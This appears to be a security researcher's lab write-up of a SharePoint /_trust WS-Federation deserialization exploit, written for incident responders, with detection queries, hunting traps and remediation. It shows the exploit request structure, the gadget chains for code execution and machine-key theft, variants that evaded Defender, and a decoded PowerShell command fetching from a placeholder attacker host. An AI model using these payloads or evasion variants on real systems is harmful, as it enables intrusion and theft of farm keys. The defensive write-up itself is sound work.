~$ wismansec

SharePoint /_trust WS-Federation deserialization

One unauthenticated sign-in request yields code execution in w3wp.exe — and the same primitive steals the farm machine keys with no process, no beacon in a default-config farm. A lab reconstruction, built to show responders exactly what to hunt.

Affected  SharePoint Server 2016 · 2019 · Subscription Edition Fix  July 2026 · KB5002882 CVEs (CISA KEV)  2026-50522 · 45659 · 56164 · 58644 Scope  isolated personal lab lab hosts · keys · OAST redacted ↳ source & scripts on GitHub

TL;DR for responders

  • A single unauthenticated POST /_trust/default.aspx carrying a malicious SecurityContextToken triggers BinaryFormatter deserialization in w3wp.exeRCE as the web-app pool identity.
  • The same primitive dumps the farm machine keys entirely in-process — in a default-config farm, no child process, no Defender alert, no beacon (AMSI/EDR posture can change this — see Trap 3). Stolen keys forge __VIEWSTATE/auth tokens that survive patching.
  • Patching is not enough — rotate machine keys, and hunt the /_trust request: it is the one artifact present in every variant.
01 vulnerability

A sign-in response that deserializes

SharePoint exposes a WS-Federation passive sign-in endpoint at /_trust/default.aspx. A crafted response embeds a SecurityContextToken whose <Cookie> is a base64, DEFLATE-compressed BinaryFormatter stream — decompressed and deserialized without type restriction, so a ysoserial.net gadget chain executes inside the worker.

POST /_trust/default.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded

wa=wsignin1.0&wctx=<url>&wresult=<RequestSecurityTokenResponse>…
  <SecurityContextToken><Cookie>BASE64(DEFLATE(BinaryFormatter payload))</Cookie>…
02 capability

Two chains from one primitive

ChainGadgetEffectOutput
OOB RCETypeConfuseDelegate code exec as pool identityout-of-band beacon
Key dumpActivitySurrogate* Validation + Decryption keysinline in response
03 results

Invocation → artifact matrix

Every row is one real detonation; artifacts pulled from the SIEM and OOB listener per run. Identity throughout: LAB\sp_pool, High integrity. Chips: offense won defense fired

InvocationProcess treeDefenderOOB beaconPrimary artifacts
OOB RCE
default
w3wp → cmd → powershell → conhost WebshellLauncher.A landed · race 4688 tree · Defender 1116/1117 · /_trust
OOB RCE
-RawCmd
w3wp → powershell → conhost no detection landed 4688 tree · /_trust · beacon
OOB RCE
-DropFile
w3wp → powershell no detection landed file write → …\LAYOUTS\
OOB RCE
-Diag
w3wp → powershell → whoami no detection landed env disclosure exfil
Key dump — in-process — no detection none stealth only the /_trust POST + response
Status is not a reliable success signal — successful runs returned both HTTP 200 and connection-reset.

Same exploit, two trees — only one is seen

defaultdetected
w3wp.exe
└─ cmd.exe  /c powershell
   └─ powershell.exe  -EncodedCommand …
      └─ conhost.exe
-RawCmdevades
w3wp.exe
└─ powershell.exe  -EncodedCommand …
   └─ conhost.exe

The command line recovers verbatim from Security 4688 — the encoding is not obfuscation:

powershell.exe -EncodedCommand <base64>
  # base64(UTF-16LE) → iwr -UseBasicParsing 'http://<attacker-oast>/c'

-Diag disclosure captured at the OOB listener:

{ "host":"SHAREPOINT01", "who":"LAB\\sp_pool", "v":"5.1.20348.558", "lm":"FullLanguage" }
04 detection & hunting

What to hunt — and two traps

The web request is the only artifact common to RCE and the stealthy key dump. Start here:

uri_path = "/_trust/default.aspx" AND http_method = "POST"
  AND body contains "wa=wsignin1.0"
  AND body contains "RequestSecurityTokenResponse"

Trap 1 — don't key on w3wp → cmd

The -RawCmd variant is w3wp → powershell directly and drew zero Defender events. Hunt w3wp.exe spawning powershell.exe with no cmd.exe hop, and decode any -EncodedCommand straight from 4688.

Trap 2 — detection ≠ prevention

On the cmd tree Defender fired WebshellLauncher.A and removed the chain — yet the beacon (DNS + HTTP) still completed first. On any such detection, also pull DNS/proxy/egress for the callback domain around that time.

Trap 3 — the key dump is stealthy, but AMSI-dependent

In this default-config farm (Defender AV) the key dump produced no 4688 child, no Defender event, and no beacon — it runs in-process in w3wp, leaving only the /_trust POST + anomalous response. But visibility is AMSI/EDR-dependent: with SharePoint's AMSI integration enabled the request body is exposed to AV scanning, and a CrowdStrike detection of this chain was observed separately. Don't assume invisibility — verify your AMSI posture and hunt the request.

05 remediation

Fix, then revoke

  1. Patch to the fixed SharePoint build (July 2026 / KB5002882).
  2. Rotate machine keys farm-wide (Set-SPMachineKey + IISReset). Patching does not revoke keys an attacker already stole.
  3. Hunt historical IIS logs for the /_trust signature; if present, assume key compromise.
  4. Review for forged __VIEWSTATE / anomalous auth after first-seen.